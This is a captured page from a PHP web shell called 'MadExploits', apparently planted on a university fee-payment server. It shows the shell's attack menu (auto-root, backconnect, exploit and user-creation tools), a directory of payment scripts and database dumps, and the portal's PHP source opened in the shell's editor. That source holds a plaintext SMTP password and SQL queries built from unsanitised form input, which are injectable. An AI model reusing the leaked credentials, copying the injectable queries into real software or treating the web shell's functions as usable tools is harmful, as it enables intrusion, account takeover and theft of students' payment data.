Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
temppayment /
pg /
fees /
[ HOME SHELL ]
Name
Size
Permission
Action
.git
[ DIR ]
drwxr-xr-x
CSS
[ DIR ]
drwxr-xr-x
alumni-form-ag
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
css-ag
[ DIR ]
drwxr-xr-x
font-awesome
[ DIR ]
drwxr-xr-x
hdfcpg24
[ DIR ]
drwxr-xr-x
hdfcstatusapi
[ DIR ]
drwxr-xr-x
hosted_php
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
irdpg
[ DIR ]
drwxr-xr-x
jsofpopup
[ DIR ]
drwxr-xr-x
php-kit-old
[ DIR ]
drwxr-xr-x
phpmailer
[ DIR ]
drwxr-xr-x
razorpay-php
[ DIR ]
drwxr-xr-x
resources
[ DIR ]
drwxr-xr-x
student
[ DIR ]
drwxr-xr-x
style
[ DIR ]
drwxr-xr-x
uploadDoc
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxr-xr-x
Checksum.php
642
B
-rw-r--r--
FailedTRAN.php
6.42
KB
-rw-r--r--
ForgetPassword.php
3.02
KB
-rw-r--r--
ForgetPasswordPage.php
3.34
KB
-rw-r--r--
GetHandleRES.php
10.87
KB
-rw-r--r--
Index1.html
11.28
KB
-rw-r--r--
PaymentHandler.php
20.11
KB
-rw-r--r--
README.md
1.86
KB
-rw-r--r--
Reciept.disabledphp
5.1
KB
-rw-r--r--
Reciept.php
6.66
KB
-rw-r--r--
STATUSAPI-samplecode.php
3.58
KB
-rw-r--r--
SendPerformREQ.php
9.45
KB
-rw-r--r--
StatusTRANold.php
6.11
KB
-rw-r--r--
StatusTran.php
6.81
KB
-rw-r--r--
WIRING INFORMATION REQUIREMENT...
151.53
KB
-rw-r--r--
account.php
3.11
KB
-rw-r--r--
ack.php
8.32
KB
-rw-r--r--
alumnifee.html
16.29
KB
-rw-r--r--
billdesk.disabledphp
1.86
KB
-rw-r--r--
calendar.css
2.65
KB
-rw-r--r--
calendar.js
16.85
KB
-rw-r--r--
calendar_form.php
18.27
KB
-rw-r--r--
corner-bottomleft.jpg
334
B
-rw-r--r--
corner-bottomright.jpg
341
B
-rw-r--r--
corner-topleft.jpg
335
B
-rw-r--r--
corner-topright.jpg
348
B
-rw-r--r--
database.php
2.49
KB
-rw-r--r--
donatebilldesk.php
2.6
KB
-rw-r--r--
donatehdfc.php
11.19
KB
-rw-r--r--
donationmail.php
7.73
KB
-rw-r--r--
error_log
13.22
MB
-rw-r--r--
export-atmb23.php
1.54
KB
-rw-r--r--
export-jmpfeb2021.php
1.44
KB
-rw-r--r--
export-mgrsajan2021.php
1.44
KB
-rw-r--r--
export-pgddsai.php
1.39
KB
-rw-r--r--
export.php
1.29
KB
-rw-r--r--
favicons.png
397
B
-rw-r--r--
formvalidator.php
14.1
KB
-rw-r--r--
giveback.php
19.01
KB
-rw-r--r--
giveback_backup.php
10.46
KB
-rw-r--r--
giveback_beforeeditedbyankit.p...
19.09
KB
-rw-r--r--
handlePaymentResponse.php
4.04
KB
-rw-r--r--
hdfc-pg-confirm.php
3.67
KB
-rw-r--r--
hdfc-pg-pay-old.php
5.42
KB
-rw-r--r--
hdfc-pg-pay.php
6.17
KB
-rw-r--r--
hdfc-pg-response.php
2.2
KB
-rw-r--r--
history.php
1.9
KB
-rw-r--r--
home.html
1.04
KB
-rw-r--r--
index-oldmain.php
35.8
KB
-rw-r--r--
index.html
337
B
-rw-r--r--
index.php
97
B
-rw-r--r--
index1032015.php
22.05
KB
-rw-r--r--
indexb.php
22.97
KB
-rw-r--r--
indexfortest.html
28.11
KB
-rw-r--r--
indexold.php
23.13
KB
-rw-r--r--
initiatePayment.php
1.18
KB
-rw-r--r--
initiatePaymentDataForm.php
1.89
KB
-rw-r--r--
initiateRefund.php
1.66
KB
-rw-r--r--
initiateRefundDataForm.php
1.72
KB
-rw-r--r--
jquery-latest.js
166.11
KB
-rw-r--r--
jquery.js
76.54
KB
-rw-r--r--
login.html
780
B
-rw-r--r--
logo.jpg
23.55
KB
-rw-r--r--
logo.png
10.94
KB
-rw-r--r--
logocolor.png
26.78
KB
-rw-r--r--
misp.html
14.15
KB
-rw-r--r--
misp.php
12.61
KB
-rw-r--r--
newstudent.php
9.72
KB
-rw-r--r--
pay.php
2.45
KB
-rw-r--r--
paymenthistory.php
1.94
KB
-rw-r--r--
pg-Ram.html
93.09
KB
-rw-r--r--
pg-backup141117.html
31.63
KB
-rw-r--r--
pg-bkp-1112021.html
80.88
KB
-rw-r--r--
pg-bkp.html
82.53
KB
-rw-r--r--
pg-bkp111121.html
93.02
KB
-rw-r--r--
pg-bkp7721.html
78.9
KB
-rw-r--r--
pg-bkpbeforeriisecalc.html
99.94
KB
-rw-r--r--
pg-problem1.html
42.31
KB
-rw-r--r--
pg-test.html
45.08
KB
-rw-r--r--
pg-testrazorpay6721.html
79.48
KB
-rw-r--r--
pg.html
153.52
KB
-rw-r--r--
pg1.html
39.48
KB
-rw-r--r--
pghdfc.html
137.01
KB
-rw-r--r--
phdcheckstatus.php
1.07
KB
-rw-r--r--
plist-gian.php
10.01
KB
-rw-r--r--
plist-retrace18.php
9.77
KB
-rw-r--r--
post.php
1.08
KB
-rw-r--r--
print.png
832
B
-rw-r--r--
razor-config.php
296
B
-rw-r--r--
razor-pay.php
6.02
KB
-rw-r--r--
recounsiliation.php
6.15
KB
-rw-r--r--
register.php
2.47
KB
-rw-r--r--
register1.php
2.36
KB
-rw-r--r--
register_workshop.php
9.75
KB
-rw-r--r--
schedule6g04072024.png
76.14
KB
-rw-r--r--
student.php
9.73
KB
-rw-r--r--
submittobill.php
551
B
-rw-r--r--
test.html
2.14
KB
-rw-r--r--
test.php
768
B
-rw-r--r--
testbyankit.php
1.6
KB
-rw-r--r--
thanks.php
4.42
KB
-rw-r--r--
thanksuser-manual.php
11.55
KB
-rw-r--r--
thanksuser.php
7.42
KB
-rw-r--r--
thanksusertest.php
9.59
KB
-rw-r--r--
user.php
4.84
KB
-rw-r--r--
userlist.php
472
B
-rw-r--r--
vendor.php
10.63
KB
-rw-r--r--
vendorold.php
9.86
KB
-rw-r--r--
verify.php
10.87
KB
-rw-r--r--
vpayments-1pxconf23.php
9.99
KB
-rw-r--r--
vpayments-6gworkshop24.php
10.01
KB
-rw-r--r--
vpayments-acss.php
9.69
KB
-rw-r--r--
vpayments-adb2020.php
9.76
KB
-rw-r--r--
vpayments-all.php
9.81
KB
-rw-r--r--
vpayments-all1.php
9.81
KB
-rw-r--r--
vpayments-ankit.php
6.38
KB
-rw-r--r--
vpayments-atmb23.php
10.04
KB
-rw-r--r--
vpayments-caiss.php
9.7
KB
-rw-r--r--
vpayments-compass24.php
10
KB
-rw-r--r--
vpayments-csmworkshop.php
9.7
KB
-rw-r--r--
vpayments-datar-close.php
9.72
KB
-rw-r--r--
vpayments-dilab.php
9.67
KB
-rw-r--r--
vpayments-diwalibook.php
9.73
KB
-rw-r--r--
vpayments-diwalibookdrive2020....
9.74
KB
-rw-r--r--
vpayments-dshcs.php
10
KB
-rw-r--r--
vpayments-edc24.php
10.02
KB
-rw-r--r--
vpayments-envision.php
10
KB
-rw-r--r--
vpayments-fdp2020.php
9.7
KB
-rw-r--r--
vpayments-hostel.php
9.72
KB
-rw-r--r--
vpayments-hostelfee.php
10
KB
-rw-r--r--
vpayments-icon22.php
9.99
KB
-rw-r--r--
vpayments-ictdx-close.php
9.7
KB
-rw-r--r--
vpayments-intsemfee.php
10.02
KB
-rw-r--r--
vpayments-jacfee2020-initiated...
9.76
KB
-rw-r--r--
vpayments-jacfee2020.php
9.77
KB
-rw-r--r--
vpayments-jacfee2024.php
10
KB
-rw-r--r--
vpayments-jmpfeb2021.php
10.18
KB
-rw-r--r--
vpayments-libfine.php
10.26
KB
-rw-r--r--
vpayments-mgrsajan2021.php
10.18
KB
-rw-r--r--
vpayments-mtech24hostel.php
10.02
KB
-rw-r--r--
vpayments-ngwin.php
9.69
KB
-rw-r--r--
vpayments-nwcbh-close.php
9.74
KB
-rw-r--r--
vpayments-odyssey20.php
9.7
KB
-rw-r--r--
vpayments-pgddsai-entranceexam...
9.95
KB
-rw-r--r--
vpayments-pgddsai.php
10.08
KB
-rw-r--r--
vpayments-preplacement2020.php
10.2
KB
-rw-r--r--
vpayments-rdbaccess.php
7.22
KB
-rw-r--r--
vpayments-retrace2019-close.ph...
9.75
KB
-rw-r--r--
vpayments-riise.php
9.73
KB
-rw-r--r--
vpayments-vlsirevisit2020.php
10.23
KB
-rw-r--r--
vpayments-vlsirevisit2023.php
9.98
KB
-rw-r--r--
vpayments.php
11.17
KB
-rw-r--r--
wanted_sql_file.sql
2.33
MB
-rw-r--r--
webiiit_pg.sql
1.42
MB
-rw-r--r--
webiiit_pg_bkp_24102020.sql
7.69
MB
-rw-r--r--
welcome.backup.php
18.06
KB
-rw-r--r--
welcome.php
23.42
KB
-rw-r--r--
welcome.txt
23.38
KB
-rw-r--r--
welcome1032015.php
23.37
KB
-rw-r--r--
welcomebill.php
5.29
KB
-rw-r--r--
welcomehdfc.php
5.8
KB
-rw-r--r--
welcomeold.php
23.38
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index-oldmain.php
<?php include "database.php"; session_destroy();?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <link rel="shortcut icon" href="http://iiitd.ac.in/sites/default/files/images/site/favicon.ico" type="image/x-icon" /> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>IIIT Delhi - Payment Portal</title> <style type="text/css"> html { overflow-Y: scroll; } body { font: 10px normal Arial, Helvetica, sans-serif; margin: 0; padding: 0; line-height: 1.7em; } *, * focus { outline: none; margin: 0; padding: 0; } .container { width: 60%; margin: 0 auto; } h1 { font: 4em normal Georgia, 'Times New Roman', Times, serif; text-align:center; padding: 20px 0; color: #aaa; } h1 span { color: #666; } h1 small{ font: 0.3em normal Verdana, Arial, Helvetica, sans-serif; text-transform:uppercase; letter-spacing: 0.5em; display: block; color: #666; } h2.acc_trigger { padding: 0; margin: 0 0 1px 0; background: url(h2_trigger_a.gif); height: 46px; line-height: 46px; font-size: 2em; font-weight: normal; } h2.acc_trigger a { text-decoration: none; background:#59575c; color:#FFF; display: block; } h2.acc_trigger a:hover { color: #ccc; } h2.active {background-position: left bottom;} .acc_container { margin: 0 0 5px; padding: 0; overflow: hidden; font-size: 1.2em; clear: both; background: #f0f0f0; border: 1px solid #d6d6d6; -webkit-border-bottom-right-radius: 5px; -webkit-border-bottom-left-radius: 5px; -moz-border-radius-bottomright: 5px; -moz-border-radius-bottomleft: 5px; border-bottom-right-radius: 5px; border-bottom-left-radius: 5px; } .acc_container .block { padding: 20px; } .acc_container .block p { padding: 5px 0; margin: 5px 0; } .acc_container h3 { font: 2.5em normal Georgia, "Times New Roman", Times, serif; margin: 0 0 10px; padding: 0 0 5px 0; border-bottom: 1px dashed #ccc; } .acc_container img { float: left; margin: 10px 15px 15px 0; padding: 5px; background: #ddd; border: 1px solid #ccc; } </style> <script type="text/javascript" src="jquery-latest.js"></script> <script type="text/javascript"> $(document).ready(function(){ //Set default open/close settings $('.acc_container').hide(); //Hide/close all containers $('.acc_trigger:first').addClass('active').next().show(); //Add "active" class to first trigger, then show/open the immediate next container //On Click $('.acc_trigger').click(function(){ if( $(this).next().is(':hidden') ) { //If immediate next container is closed... $('.acc_trigger').removeClass('active').next().slideUp(); //Remove all .acc_trigger classes and slide up the immediate next container $(this).toggleClass('active').next().slideDown(); //Add .acc_trigger class to clicked trigger and slide down the immediate next container } return false; //Prevent the browser jump to the link anchor }); }); </script> <script> function MisvalidateForm(){ var x = document.forms["mispay"]["name"].value; if (x == null || x == "") { alert("Name must be filled out"); /*document.getElementById("dname").focus();*/ document.mispay.name.focus(); return false; } var regex = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/; var x = document.forms["mispay"]["email"].value; if (x == null || x == "") { alert("Email Id must be filled out"); /*document.getElementById("email").focus();*/ document.mispay.email.focus(); return false; } else if(!regex.test(mispay.elements['email'].value)) { alert("Invalid email address format"); document.mispay.email.focus(); return false; } var x = document.forms["mispay"]["gaddress"].value; if (x == null || x == "") { alert("Address must be filled out"); document.mispay.gaddress.focus(); return false; } var x = document.forms["mispay"]["gpin"].value; if (x == null || x == "") { alert("Pin must be filled out"); document.mispay.gpin.focus(); return false; } var x = document.forms["mispay"]["phone"].value; if (x.length < 10) { alert("Number Must be filled out of 10 digits only."); document.mispay.phone.focus(); return false; } var x = document.forms["mispay"]["amount"].value; if (x == null || x == "" || x == "0") { alert("Amount cannot be Rs. 0 "); document.mispay.amount.focus(); return false; } var gpurpose = document.getElementsByName('gpurpose'); var ischecked_method = false; for ( var i = 0; i < gpurpose.length; i++) { if(gpurpose[i].checked) { ischecked_method = true; break; } } if(!ischecked_method) { //payment purpose button is not checked alert("Please choose purpose of Payment"); return false; } return true; } function isNumber(evt) { evt = (evt) ? evt : window.event; var charCode = (evt.which) ? evt.which : evt.keyCode; if (charCode > 31 && (charCode < 46 || charCode > 57 || charCode == 47)) { return false; } return true; } </script> <script type="text/javascript"> window.onload = function() { document.getElementById('ifadmfees').style.display = 'none'; } function radioCheck() { if (document.getElementById('edu_verification').checked) { document.getElementById('ifadmfees').style.display = 'none'; document.getElementById('roll_no').removeAttribute("required"); document.getElementById('currency').innerHTML="(in INR)"; } else if(document.getElementById('transcript').checked) { document.getElementById('ifadmfees').style.display = 'none'; document.getElementById('roll_no').removeAttribute("required"); document.getElementById('currency').innerHTML="(in INR)"; }else if(document.getElementById('admfees').checked) { document.getElementById('ifadmfees').style.display = 'block'; document.getElementById('roll_no').setAttribute("required", ""); document.getElementById('currency').innerHTML="(in INR)"; }else if(document.getElementById('foreign').checked) { document.getElementById('ifadmfees').style.display = 'none'; document.getElementById('roll_no').removeAttribute("required"); document.getElementById('currency').innerHTML="(in USD)"; } } </script> </head> <body bgcolor="#f2f5fc"> <div class="container" align="center"><br /> <!-----------added by ankit - ------------> <div align="center"><img src="logo.jpg" align="absmiddle"><br /><br /> <h2 class="acc_trigger"><a href="#"> <strong>For Miscellaneous Payment <!--(This section is under Development) --></strong></a></h2> <div class="acc_container"> <div class="block"> <form name='mispay' action='hdfc-pg-pay.php' method='post' encType='multipart/form-data'> <table border="0" align="center" cellspacing="5"> <TBODY> <tr> <td width="99">Name</td><td width="210"><input type="text" name="name" /></td> <td >Email</td><td width="210"><input type="text" name="email" /></td> </tr> <tr> <td width="99">Address</td> <td width="210"><input type="text" name="gaddress" /></td> <td width="99">Pincode</td> <td width="210"><input type="text" name="gpin" maxlength="6" onKeyPress="return isNumber(event)"/></td> </tr> <tr> <td width="99">Mobile </td><td width="210"><input type="text" name="phone" maxlength="10" onKeyPress="return isNumber(event)" /></td> <td>Amount <span id="currency">(in INR)</span></td><td><input type="text" name="amount" maxlength="10" value="0" ></td> </tr> <tr> <td>Purpose</td> <td colspan="3"> <input type="radio" name="gpurpose" onclick="javascript:radioCheck();" value="Education Verification Fees" id="edu_verification"/> Education Verification Fees <input type="radio" name="gpurpose" onclick="javascript:radioCheck();" value="Transcript Fees" id="transcript"/> Transcript Fees </td> </tr> <tr> <td> </td> <td colspan="3"> <input type="radio" name="gpurpose" onclick="javascript:radioCheck();" value="Admission Fees" id="admfees" /> Admission Fees <!--<input type="radio" name="gpurpose" onclick="javascript:radioCheck();" value="Foreign Admission Fees" id="foreign" /> Foreign Admission Fees --></td> </tr> <tr> <td></td> <td colspan="3"> <div id="ifadmfees" style="display:none"> Enrollment Number <input type="text" name="roll_no" id="roll_no" required=""/> </div> </td> </tr> <tr> <td colspan="4" align="center"><input type="submit" name="gsubmit" value=" Pay Now " onClick="return MisvalidateForm()" /> <!--<input name="Reset" type="reset" value=" Reset " /> --></td> </tr> </TBODY> </table> <input name="channel" type="hidden" value="10"/> <input name="bank_code" type="hidden" value=""/> <input name="currency" type="hidden" value="INR"/> <!--<input name="display_currency" type="hidden" value="INR"/> --> <input name="display_currency_rates" type="hidden" value="1"/> <input name="payment_mode" type="hidden" value=""/> <input name="payment_option" type="hidden" value=""/> <input name="account_id" type="hidden" value="22400"/> <input name="reference_no" type="hidden" value="<?=time();?>" /> <input name="description" type="hidden" value="IIITD payment" /> <input name="mode" type="hidden" value="LIVE"/> <!--<input name="name" type="hidden" value="Test Name" /> --> <input name="address" type="hidden" value="IIIT-D, Okhla Phase3" /> <input name="city" type="hidden" value="Delhi" /> <input name="postal_code" type="hidden" value="110020" /> <input name="country" type="hidden" value="IND" /> <!--<input name="phone" type="hidden" value="2211112222" /> --> <input name="return_url" type="hidden" size="60" value="https://payments.iiitd.edu.in/pg/fees/thanksuser.php" /> <input name="ship_address" type="hidden" value=""/> <input name="ship_city" type="hidden" value=""/> <input name="ship_country" type="hidden" value=""/> <input name="ship_name" type="hidden" value=""/> <input name="ship_phone" type="hidden" value=""/> <input name="ship_postal_code" type="hidden" value=""/> <input name="ship_state" type="hidden" value=""/> <input name="state" type="hidden" value=""/> </form> </div> </div> <!-----------end added by Ankit--------> <!--<h2 class="acc_trigger"><a href="#"><strong>For Registered Users</strong></a></h2> --> <h2 class="acc_trigger"><a href="#"><strong>Login For Institute Fee Payment</strong></a></h2> <div class="acc_container"> <div class="block"> <?php //if(true == $show_form) //{?> <form name="loginform" method="post" action="welcome.php" id="login-form"> <table border="0" align="center" cellspacing="5"><tbody> <tr> <td colspan="3" align="center"><input type="radio" name="dasa" value="Indian Students"> Indian Students <input type="radio" name="dasa" value="Foreign Students"> Foreign Students </td> </tr> <tr><td> </td></tr> <tr> <td>Email</td> <td>Password</td></tr> <tr> <td><input type="text" name="email" id="email" tabindex="1"></td> <td><input type="password" name="pass" id="pass" tabindex="2"></td> <td><input value=" Log In to pay " tabindex="4" type="submit" id="login"></label></td> </tr> <tr><td> </td> <td class="login_form_label_field"><a href="ForgetPasswordPage.php">Forgot your password?</a></td> </tr></tbody></table></form> <?PHP //}//true == $show_form ?> </div> </div> <?php require("./phpmailer/class.phpmailer.php"); require './phpmailer/PHPMailerAutoload.php'; //include the main validation script require_once "formvalidator.php"; $show_form=true; if(isset($_POST['Submit'])) {// The form is submitted //Setup Validations $validator = new FormValidator(); $validator->addValidation("Name","req","Name Field is required"); $validator->addValidation("eno","req","Enrollment Number is required"); $validator->addValidation("eno","alnum","Enrollment Number should be 20 alpha-numeric characters only"); $validator->addValidation("Password","req","Password is required"); $validator->addValidation("MobileNo","req","Mobile Number is required"); $validator->addValidation("MobileNo","num","Mobile Number should be numeric"); $validator->addValidation("Email","email","The input for Email should be a valid email value"); $validator->addValidation("Email","req","Email is required"); //Now, validate the form if($validator->ValidateForm()) { //Validation success. //Here we can proceed with processing the form //(like sending email, saving to Database etc) // In this example, we just display a message $select = "Select * from user where Email='$_POST[Email]' or ENo='$_POST[eno]'"; $result = mysql_query($select,$db_connection); if($row=mysql_fetch_array($result)) { echo $row['Name']." had already registered with email id: ".$row['Email']." and Enrollment Number: ".$row['ENo']."<br><br> If you forget your password <a href='ForgetPasswordPage.php'>Click Here </a>to retrive it !"; }else { $sql ="INSERT INTO user(Name,Email,Password,Mobile,UType,ENo,Course,Adress) VALUES ('$_POST[Name]','$_POST[Email]','$_POST[Password]','$_POST[MobileNo]',0,'$_POST[eno]','$_POST[Course]','$_POST[address]')"; //echo $sql; if (!mysql_query($sql,$db_connection)) { die('Error: ' . mysql_error()); echo "error"; } else { $UserId= mysql_insert_id($db_connection); //echo "Mail started"; $to=$_POST['Email']; // Recipients email ID $name=$_POST['Name']; // Recipients name $from = "admin-account@iiitd.ac.in"; $subject = "Welcome to IIIT Delhi - Payment Process"; $message = "<html> <head> <meta http-equiv='content-type' content='text/html; charset=utf-8' /></head><body><table width='609' border='0' height='100%' cellpadding='0' cellspacing='0' align='center' style='margin:0; padding-bottom:0'> <tr style='margin:0; padding-bottom:0' bgcolor='#f2f5fc'> <td colspan='3' style='margin:0; padding-bottom:0' align='center'><img src='https://payments.iiitd.edu.in/pg/fees/logo.jpg' style='margin:0; padding-bottom:0'/></td> </tr> <tr> <td width='29' bgcolor='#f2f5fc'> </td> <td style='padding:10px 10px 10px 10px'> <font face='Verdana, Geneva, sans-serif' size='-1'><br>Dear ".$_POST['Name']."<br/>Your mobile number: ".$_POST['MobileNo']." <br />Your enrollment number: ".$_POST['eno']." <br />Your Course: ".$_POST['Course']." <br />Please click the link below to confirm details <br> <a href='https://payments.iiitd.edu.in/pg/fees/welcome.php?ID=".$UserId."&UType=1'>Confirm your Student Registration</a></font><br><br><br></td> <td bgcolor='#f2f5fc' width='29'> </td> </tr> <tr bgcolor='#f2f5fc'> <td colspan='3' bgcolor='#f2f5fc' align='center' >System Manager : Mr. Abhinay Saxena | <a href='mailto:abhinay@iiitd.ac.in' target='_blank'>abhinay@iiitd.ac.in</a></td> </tr> </table></body></html></body></html>";//HTML Body $header = "From: " . $from . "\r\nReply-To: " . $from . ""; $header .= "MIME-Version: 1.0\r\n"; $header .= "Content-type: text/html; charset: utf8\r\n"; $header .= "Return-Path: admin-account@iiitd.ac.in\r\n"; $mail= new phpmailer(); //Enable SMTP debugging. //$mail->SMTPDebug = 3; //Set PHPMailer to use SMTP. $mail->isSMTP(); //Set SMTP host name $mail->Host = "smtp.gmail.com"; //Set this to true if SMTP host requires authentication to send email $mail->SMTPAuth = true; //Provide username and password $mail->Username = "admin-account@iiitd.ac.in"; $mail->Password = "BKWga&2m"; //If SMTP requires TLS encryption then set it $mail->SMTPSecure = "tls"; //Set TCP port to connect to $mail->Port = 587; $mail->From = "admin-account@iiitd.ac.in"; $mail->FromName = "Admin Account"; $mail->addAddress($to,$name); $mail->isHTML(true); $mail->Subject = $subject; $mail->Body = $message; //$mail->AltBody = "This is the plain text version of the email content"; if(!$mail->send()) { echo "Mailer Error: " . $mail->ErrorInfo; } else { echo "<h2>New Student Registration</h2> <p>Thanks for registering with us <br><br><strong>We've sent an account confirmation e-mail to ".$_POST['Email'].". Please click the confirmation link in this e-mail to activate your new account</strong>.</p> <p>If you don't receive an e-mail from us soon, please check your Junk and Spam folders; depending on your e-mail settings, automated e-mails can end up there.</p> <p>If you still haven't received the confirmation after 24 hours, please contact us at <a href='mailto:abhinay@iiitd.ac.in'>abhinay@iiitd.ac.in</a> or by call at 011-26907576 (hours M-F 10:00 AM to 5:00 PM IST).</p>"; } //$smtp = mail::factory('smtp', array ('host' => "smtp.gmail.com:587",'auth' => true, 'username' => "admin-account@iiitd.ac.in",'password' => "BKWga&2m")); //$sentmail = mail($to,$subject,$message,$header); //$sentmail = $smtp->send($to, $subject, $message, $headers); /*if(!$sentmail) { echo "Mailer Error: " . $mail->ErrorInfo(); echo "Unable to send mail"; } else { echo "<h2>New Student Registration</h2> <p>Thanks for registering with us <br><br><strong>We've sent an account confermation e-mail to ".$_POST['Email'].". Please click the confermation link in this e-mail to activate your new account</strong>.</p> <p>If you don't receive an e-mail from us soon, please check your Junk and Spam folders; depending on your e-mail settings, automated e-mails can end up there.</p> <p>If you still haven't received the confirmation after 24 hours, please contact us at <a href='mailto:abhinay@iiitd.ac.in'>abhinay@iiitd.ac.in</a> or by call at 011-26907576 (hours M-F 10:00 AM to 5:00 PM IST).</p>"; }*/ }} $show_form=false; } else { echo "<h3 style='color:#F00'>Errors for new students:</h3>"; $error_hash = $validator->GetErrors(); foreach($error_hash as $inpname => $inp_err) { echo "<p style='color:#F00'>$inp_err</p>\n"; } }//else }//if(isset($_POST['Submit'])) ?> <!--<h2 class="acc_trigger"><a href="#"><strong>For new students (Don't have Roll Number)</strong></a></h2> --> <h2 class="acc_trigger"><a href="#"><strong>Registration for new students (Don't have Roll Number)</strong></a></h2> <div class="acc_container"> <div class="block"> <?php if($show_form == true) {?> <FORM name='newstudent' action='' method='post' encType= 'multipart/form-data'> <table border="0" align="center" cellspacing="5"> <TBODY> <tr> <td>Full name</td> <td><input type="text" name="Name" /></td> <td>Full Address</td> <td><input type="text" name="address"/></td></tr><tr> <td>Mobile Number</td> <td>+91<input type="text" name="MobileNo" maxlength="10" size="16"></td> <td>Enrollment number</td> <td><input type="text" name="eno"/></td> </tr><tr><td>Course</td> <td><select name="Course"> <option>B.Tech.</option> <option>M.Tech.</option> <option>Ph.D.</option> <option>Other</option> </select></td> <td>Email</td> <td><input type="text" name="Email"/></td></tr><tr><td>Password</td> <td><input type="password" name="Password"></td> <td>Confirm Password</td> <td><input type="password" name="cPassword"></td> </tr> <tr> <td align="center" colspan="4"><input type="submit" name="Submit" value=" Submit " /> <input name="Reset" type="reset" value=" Reset " /></td> </tr> </TBODY> </table> </form><?PHP }//true == $show_form ?> </div> </div><?php require_once "formvalidator.php"; $show_form=true; if(isset($_POST['Submitold'])) {// The form is submitted //Setup Validations $validator = new FormValidator(); $validator->addValidation("OName","req","Name Field is required"); $validator->addValidation("RollN","req","Roll Number Field is required"); $validator->addValidation("RollN","alnum","Roll Number should be numeric or alpa-numeric"); $validator->addValidation("OPassword","req","Password Field is required"); $validator->addValidation("OMobileNo","req","Mobile Field is required"); $validator->addValidation("OMobileNo","num","Mobile Field should be numeric"); $validator->addValidation("OEmail","email","The input for Email should be a valid email value"); $validator->addValidation("OEmail","req","Email Field is required"); //Now, validate the form if($validator->ValidateForm()) { //Validation success. //Here we can proceed with processing the form //(like sending email, saving to Database etc) // In this example, we just display a message $select = "Select * from user where Email='$_POST[OEmail]'"; $result = mysql_query($select,$db_connection); if($row=mysql_fetch_array($result)) { echo $row['Name']." had already registered with id: ".$row['Email']." and Roll Number ".$row['RNo']."<br><br> If you forget your password <a href='ForgetPasswordPage.php'>Click Here </a>to retrive it !"; }else { require("classes/class.phpmailer.php"); $sql ="INSERT INTO user(Name,Email,Password,Mobile,UType,RNo,Course,Adress) VALUES ('$_POST[OName]','$_POST[OEmail]','$_POST[OPassword]','$_POST[OMobileNo]','0','$_POST[RollN]','$_POST[OCourse]','$_POST[OAddress]')"; //echo $sql; if (!mysql_query($sql,$db_connection)) { die('Error: ' . mysql_error()); echo "error"; } else { $UserId= mysql_insert_id($db_connection); $to=$_POST['OEmail']; // Recipients email ID $name=$_POST['OName']; // Recipients name $from = "admin-account@iiitd.ac.in"; $subject = "Welcome to IIIT Delhi - Payment Process"; $message = "<html> <head> <meta http-equiv='content-type' content='text/html; charset=utf-8' /></head><body><table width='609' border='0' height='100%' cellpadding='0' cellspacing='0' align='center' style='margin:0; padding-bottom:0'> <tr style='margin:0; padding-bottom:0' bgcolor='#f2f5fc'> <td colspan='3' style='margin:0; padding-bottom:0' align='center'><img src='https://payments.iiitd.edu.in/pg/fees/logo.jpg' style='margin:0; padding-bottom:0'/></td> </tr> <tr> <td width='29' bgcolor='#f2f5fc'> </td> <td style='padding:10px 10px 10px 10px'><font face='Verdana, Geneva, sans-serif' size='-1'><br>Dear ".$_POST['OName']."<br/>Your mobile number: ".$_POST['OMobileNo']." <br />Your Roll number: ".$_POST['RollN']." <br />Course: ".$_POST['OCourse']." <br />Please click the link below to confirm your details. <br> <a href='https://payments.iiitd.edu.in/pg/fees/welcome.php?ID=".$UserId."&UType=2'>Confirm student registration</a></font><br><br><br></td> <td bgcolor='#f2f5fc' width='29'> </td> </tr> <tr bgcolor='#f2f5fc'> <td colspan='3' bgcolor='#f2f5fc' align='center' >System Manager : Mr. Abhinay Saxena | <a href='mailto:abhinay@iiitd.ac.in' target='_blank'>abhinay@iiitd.ac.in</a></td> </tr> </table></body></html>";//HTML Body $header = "From: " . $from . "\r\nReply-To: " . $from . ""; $header .= "MIME-Version: 1.0\r\n"; $header .= "Content-type: text/html; charset: utf8\r\n"; $header .= "Return-Path: abhinay@iiitd.ac.in\r\n"; $mail= new phpmailer(); //Enable SMTP debugging. //$mail->SMTPDebug = 3; //Set PHPMailer to use SMTP. $mail->isSMTP(); //Set SMTP host name $mail->Host = "smtp.gmail.com"; //Set this to true if SMTP host requires authentication to send email $mail->SMTPAuth = true; //Provide username and password $mail->Username = "admin-account@iiitd.ac.in"; $mail->Password = "BKWga&2m"; //If SMTP requires TLS encryption then set it $mail->SMTPSecure = "tls"; //Set TCP port to connect to $mail->Port = 587; $mail->From = "admin-account@iiitd.ac.in"; $mail->FromName = "Admin Account"; $mail->addAddress($to,$name); $mail->isHTML(true); $mail->Subject = $subject; $mail->Body = $message; //$mail->AltBody = "This is the plain text version of the email content"; if(!$mail->send()) { echo "Mailer Error: " . $mail->ErrorInfo; } else { echo "<h2>Student Registration</h2> <p>Thanks for registering with us <br><br><strong>We've sent an account confirmation e-mail to ".$_POST[OEmail].". Please click the confirmation link in your e-mail to activate your new account</strong>.</p> <p>If you don't receive an e-mail from us soon, please check your Junk and Spam folders; depending on your e-mail settings, automated e-mails can end up there.</p> <p>If you still haven't received the confirmation after 24 hours, please contact us at <a href='mailto:abhinay@iiitd.ac.in'>abhinay@iiitd.ac.in</a> or by call at 011-26907576 (hours M-F 10:00 AM to 5:00 PM IST).</p>"; } 